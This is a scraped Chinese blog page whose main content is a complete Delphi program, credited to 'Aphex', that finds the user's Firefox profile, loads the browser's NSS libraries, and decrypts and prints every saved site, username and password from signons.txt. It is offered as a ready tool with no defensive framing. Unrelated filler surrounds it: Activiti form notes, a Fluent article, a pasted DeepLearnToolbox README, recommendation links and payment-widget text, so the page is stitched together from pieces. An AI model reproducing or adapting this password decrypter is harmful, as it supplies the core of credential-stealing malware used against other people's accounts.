get Firefox Passwords

activiti的外置表单_比较Activiti中三种不同的表单及其应用 这个恐怕是初次接触工作流最多的话题之一了,当然这个不是针对Activiti来说的,每个工作流引擎都会支持多种方式的表单。目前大家讨论到的大概有三种。动态表单外置表单普通表单具体选择哪种方式只能读者根据自己项目的实际需求结合现有技术或者架构、平台选择!!!1.动态表单这是程序员最喜欢的方式,同时也是客户最讨厌的……因为表单完全没有布局,所有的表单元素都是顺序输出显示在页面。此方式需要在流程定义文件(... 阅读详情
program decrypt;

{$APPTYPE CONSOLE}

uses
Windows;

procedure GetFirefoxPasswords;
const
FirefoxPath: string = 'C:/Program Files/Mozilla Firefox/';
type
TSECItem = packed record
SECItemType: dword;
SECItemData: pchar;
SECItemLen: dword;
end;
PSECItem = ^TSECItem;
var
NSSModule: THandle;
NSS_Init: function(configdir: pchar): dword; cdecl;
NSSBase64_DecodeBuffer: function(arenaOpt: pointer; outItemOpt: PSECItem; inStr: pchar; inLen: dword): dword; cdecl;
PK11_GetInternalKeySlot: function: pointer; cdecl;
PK11_Authenticate: function(slot: pointer; loadCerts: boolean; wincx: pointer): dword; cdecl;
PK11SDR_Decrypt: function(data: PSECItem; result: PSECItem; cx: pointer): dword; cdecl;
NSS_Shutdown: procedure; cdecl;
PK11_FreeSlot: procedure(slot: pointer); cdecl;
UserenvModule: THandle;
GetUserProfileDirectory: function(hToken: THandle; lpProfileDir: pchar; var lpcchSize: dword): longbool; stdcall;
hToken: THandle;
ProfilePath: array [0..MAX_PATH] of char;
ProfilePathLen: dword;
FirefoxProfilePath: pchar;
MainProfile: array [0..MAX_PATH] of char;
MainProfilePath: pchar;
PasswordFile: THandle;
PasswordFileSize: dword;
PasswordFileData: pchar;
Passwords: string;
BytesRead: dword;
CurrentEntry: string;
Site: string;
Name: string;
Value: string;
KeySlot: pointer;
EncryptedSECItem: TSECItem;
DecryptedSECItem: TSECItem;
Result: string;
begin
LoadLibrary(pchar(FirefoxPath + 'nspr4.dll'));
LoadLibrary(pchar(FirefoxPath + 'plc4.dll'));
LoadLibrary(pchar(FirefoxPath + 'plds4.dll'));
LoadLibrary(pchar(FirefoxPath + 'softokn3.dll'));
NSSModule := LoadLibrary(pchar(FirefoxPath + 'nss3.dll'));
@NSS_Init := GetProcAddress(NSSModule, 'NSS_Init');
@NSSBase64_DecodeBuffer := GetProcAddress(NSSModule, 'NSSBase64_DecodeBuffer');
@PK11_GetInternalKeySlot := GetProcAddress(NSSModule, 'PK11_GetInternalKeySlot');
@PK11_Authenticate := GetProcAddress(NSSModule, 'PK11_Authenticate');
@PK11SDR_Decrypt := GetProcAddress(NSSModule, 'PK11SDR_Decrypt');
@NSS_Shutdown := GetProcAddress(NSSModule, 'NSS_Shutdown');
@PK11_FreeSlot := GetProcAddress(NSSModule, 'PK11_FreeSlot');
UserenvModule := LoadLibrary('userenv.dll');
@GetUserProfileDirectory := GetProcAddress(UserenvModule, 'GetUserProfileDirectoryA');
OpenProcessToken(GetCurrentProcess, TOKEN_QUERY, hToken);
ProfilePathLen := MAX_PATH;
ZeroMemory(@ProfilePath, MAX_PATH);
GetUserProfileDirectory(hToken, @ProfilePath, ProfilePathLen);
FirefoxProfilePath := pchar(ProfilePath + '/Application Data/Mozilla/Firefox/profiles.ini');
GetPrivateProfileString('Profile0', 'Path', '', MainProfile, MAX_PATH, FirefoxProfilePath);
MainProfilePath := pchar(ProfilePath + '/Application Data/Mozilla/Firefox/' + MainProfile + '/signons.txt');
PasswordFile := CreateFile(MainProfilePath, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
PasswordFileSize := GetFileSize(PasswordFile, nil);
GetMem(PasswordFileData, PasswordFileSize);
ReadFile(PasswordFile, PasswordFileData^, PasswordFileSize, BytesRead, nil);
CloseHandle(PasswordFile);
Passwords := PasswordFileData;
FreeMem(PasswordFileData);
Delete(Passwords, 1, Pos('.' + #13#10, Passwords) + 2);
if NSS_Init(pchar(ProfilePath + '/Application Data/Mozilla/Firefox/' + MainProfile)) = 0 then
begin
KeySlot := PK11_GetInternalKeySlot;
if KeySlot <> nil then
begin
if PK11_Authenticate(KeySlot, True, nil) = 0 then
begin
while Length(Passwords) <> 0 do
begin
WriteLn('-----------------------------');
CurrentEntry := Copy(Passwords, 1, Pos('.' + #13#10, Passwords) - 1);
Delete(Passwords, 1, Length(CurrentEntry) + 3);
Site := Copy(CurrentEntry, 1, Pos(#13#10, CurrentEntry) - 1);
Delete(CurrentEntry, 1, Length(Site) + 2);
WriteLn(Site);
while Length(CurrentEntry) <> 0 do
begin
Name := Copy(CurrentEntry, 1, Pos(#13#10, CurrentEntry) - 1);
Delete(CurrentEntry, 1, Length(Name) + 2);
Value := Copy(CurrentEntry, 1, Pos(#13#10, CurrentEntry) - 1);
Delete(CurrentEntry, 1, Length(Value) + 2);
NSSBase64_DecodeBuffer(nil, @EncryptedSECItem, pchar(Value), Length(Value));
if PK11SDR_Decrypt(@EncryptedSECItem, @DecryptedSECItem, nil) = 0 then
begin
Result := DecryptedSECItem.SECItemData;
SetLength(Result, DecryptedSECItem.SECItemLen);
if Length(Name) = 0 then Name := '(unnamed value)';
WriteLn(Name, ' = ', Result);
end
else
begin
WriteLn('PK11SDR_Decrypt Failed!');
end
end;
WriteLn('-----------------------------');
end;
end
else
begin
WriteLn('PK11_Authenticate Failed!');
end;
PK11_FreeSlot(KeySlot);
end
else
begin
WriteLn('PK11_GetInternalKeySlot Failed!');
end;
NSS_Shutdown;
end
else
begin
WriteLn('NSS_Init Failed!');
end;
end;

begin
WriteLn('Firefox Password Decrypter by Aphex');
WriteLn('http://www.iamaphex.net');
WriteLn('aphex@iamaphex.net');
GetFirefoxPasswords;
WriteLn('Press enter to exit...');
ReadLn;
end.


【Fluent】太阳辐射模型—Solar Ray Tracing 一、引言Fluent提供了一个太阳能负载模型,可用于计算进入计算域的太阳光线的辐射效应。该模型可以分为:太阳光线追踪和太阳辐照。其中太阳辐照需要使用DO或MC模型,直接向辐射模型提供外光束方向和强度参数。太阳光线追踪不限制辐射模型,可以独立于辐射方程使用,甚至可以在辐射模型off的情况下使用。本文主要介绍太阳光线追踪模型。该模型非常适用于以下领域汽车气候控制 (ACC) 应用建筑物中的人体热舒适建模应用该模型使用着色算法进行太阳光线追踪。光线会透过半透明的面加载在照射面上。 阅读详情

相关推荐

Yolov5s可视化网络结构图

Yolov5共有四种网络结构,每种网络深度和宽度上都不相同。 (1) Yolov5s可视化网络结构图:点击查看 (2) Yolov5m可视化网络结构图:点击查看 (3) Yolov5l可视化网络结构图:点击查看 (4) Yolov5x可视化网络结构图:点击查看 ...

江南研习社 15万+

浏览器密码存储原理和渗透中的利用

一、引言 我之前的文章中介绍了名为dumpmon的推特机器人,它监控着众多“贴码网站”的账户转储、配置文件和其他信息。自那以后,我一直留意着监测到的信息。接下来会有关于dumpmon的一系列文章,而本文则关注浏览器是如何存储密码的。 这里提到dumpmon,是因为我偶然发现一些贴码,比如这篇, 应该是感染在计算机上的恶意软件的日志。我便想:我总是认为最好不要让浏览器直接存储密码,但

hpp24的专栏 4541

【机器视觉】Halcon 最新版本安装教程(HALCON 24.11.1.1 Progress-Steady)

注:如果使用评估版本,下载前先了解最新评估授权密钥所支持的版本。。近几年不同版本安装过程类似,均可参考本教程。

OpenSeek的博客 3万+

混合密码系统设计代码c++实现_通过Network Security Services导出Firefox浏览器中保存的密码...

0x00 前言在上一篇文章《渗透技巧——导出Firefox浏览器中保存的密码》介绍了导出Firefox浏览器密码的常用方法,其中firefox_decrypt.py使用NSS(Network Security Services)进行解密,支持key3.db和key4.db的Master Password解密。本文将要对其涉及的原理进行介绍,编写测试代码,实现对Master Passwo...

weixin_39862871的博客 436

海康威视GigE工业相机的python调用demo

默认路径安装完成后,在路径C:\Program Files (x86)\MVS\Development\Samples\Python\BasicDemo下的BasicDemo.py中,海康威视官方提供了基本的调用方法,本文也是基于这个修改的。BasicDemo.py提供了通过枚举选择相机的方法,在官方的另一个DEMO:ConnectSpecCamera.py中提供了另一种不通过枚举,直接访问特定IP相机的方法,也可以参考。另外,如果每台相机都定义了唯一的用户定义名,也可以通过用户定义名来区分相机。

xulibo5828的博客 2113

手把手教你用gmid方法设计二级运放:从理论到仿真全流程(附避坑指南)

本文详细介绍了使用gmid方法设计二级运放的全流程,从理论到仿真实践,特别针对初学者常见问题提供避坑指南。通过系统化的晶体管尺寸确定技术,帮助工程师在性能、功耗和面积之间找到最佳平衡点,适用于模拟集成电路设计中的关键模块开发。

weixin_29213525的博客 272

Firefox password cracker

#include #include #include #include #include #include #pragma comment (lib, "shlwapi.lib") #pragma comment (lib, "crypt32.lib") #pragma comment (lib, "Shell32.lib") #define

gj333的专栏 970

五、e2studio VS STM32CubeIDE之汉化

介绍stm32cubeide汉化方案和汉化包e2studio自带汉化包,在安装过程中可选择安装e2studio STM32CubeIDE切换中英文。

cl234583745的博客 1770

NSS 3.35 database文件操作方法变更

configdir = PR_smprintf(“sql:%s”,oldconfigdir);//加入”sql:” rv = NSS_InitReadWrite(configdir); if (rv != SECSuccess) { goto fail; } slot = PK11_GetInternalKeySlot(); /* optional */...

xunying6967的博客 459

【iOS开发】dyld: Symbol not found: ___chkstk_darwin 问题解决

【iOS开发】dyld: Symbol not found: ___chkstk_darwin 问题解决 Xcode 13.2.1 运行到iOS12.x版本上崩溃报错如下:dyld: Symbol not found: ___chkstk_darwin dyld: Symbol not found: ___chkstk_darwin Referenced from: /private/var/containers/Bundle/Application/A424CEFD-51DB-450E-9D62-B8

wm9028的专栏 6566

01、【solidworks】windosws正在配置solidworks问题及注册表未卸载干净问题解决

windosws正在配置solidworks问题及注册表未卸载干净问题解决

qq_740388770的博客 2万+

比较Activiti中三种不同的表单及其应用

这个恐怕是初次接触工作流最多的话题之一了,当然这个不是针对Activiti来说的,每个工作流引擎都会支持多种方式的表单。目前大家讨论到的大概有三种。 动态表单 外置表单 普通表单 具体选择哪种方式只能读者根据自己项目的实际需求结合现有技术或者架构、平台选择!!! 1、动态表单 这是程序员最喜欢的方式,同时也是客户最讨厌的……因为表单完全没有布局,所有的表单元素都是顺序输出显示在页面。 ...

bobozai86的博客 1351

2025年GESP12月认证C++四级真题解析

摘要 本文包含11道C++编程题目,涵盖指针、数组、函数参数传递、结构体和排序算法等知识点。每题2分,总分30分,主要考察学生对C++基础语法的掌握程度。题目包括指针定义与解引用(第1-4题)、二维/三维数组遍历(第4-5题)、变量作用域(第6题)、函数传参方式(第7题)、结构体操作(第8题)、递归算法(第9题)和排序稳定性判断(第10题)。最后第11题要求补全选择排序算法代码片段。每道题均提供标准答案和详细解析,适合用于检验C++基础知识的掌握情况。

lan_in的博客 318

Activiti中三种不同的表单及其应用

这个恐怕是初次接触工作流最多的话题之一了,当然这个不是针对Activiti来说的,每个工作流引擎都会支持多种方式的表单。目前大家讨论到的大概有三种。 动态表单外置表单普通表单 具体选择哪种方式只能读者根据自己项目的实际需求结合现有技术或者架构、平台选择!!! 1.动态表单 这是程序员最喜欢的方式,同时也是客户最讨厌的……因为表单完全没有布局,所有的表单元素都是顺序输出显示在页面

程序猿开发日志【学习永无止境】 3701

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

Activiti一个流程的创建

[b]在一个流程中API关系:[/b] ProcessDefinition和Deployment是一对一关系 ProcessDefinition和ActivityImpl是一对多的关系 ProcessDefinition和ProcessInstance是一对一 ProcessInstance和Execution是一对多关系 Task和Rxecution是一对一关系 Executio...

青松 300

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

Activiti——表单

目录Activiti的表单1、概述2、表单属性3、外部表单4、动态表单 Activiti的表单 1、概述 对于一些较为稳定的业务流程,全部的功能可以直接由程序员实现,这些功能包括流程的制定、具体领域业务代码的实现和表现层交互实现等,但是在实际应用中,不变的业务并不存在。为了让程序能更好地适应业务流程的变化,在工作流领域出现了动态流程和动态表单等概念。 Activiti提供了两种设置表单的方式,流程引擎的开发者可以根据不同的情况来选择合适的方式。 2、表单属性 可以在流程的开始事件或者任务中使用activit

吴声子夜歌的博客 2572

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

activiti集成自定义表单

概述 &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;nbsp;在使用Activiti时,对于表单的

蹬墙 1万+
上一篇: Exekiller.c
下一篇: Grepping Executive Objects from Pool Memory
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值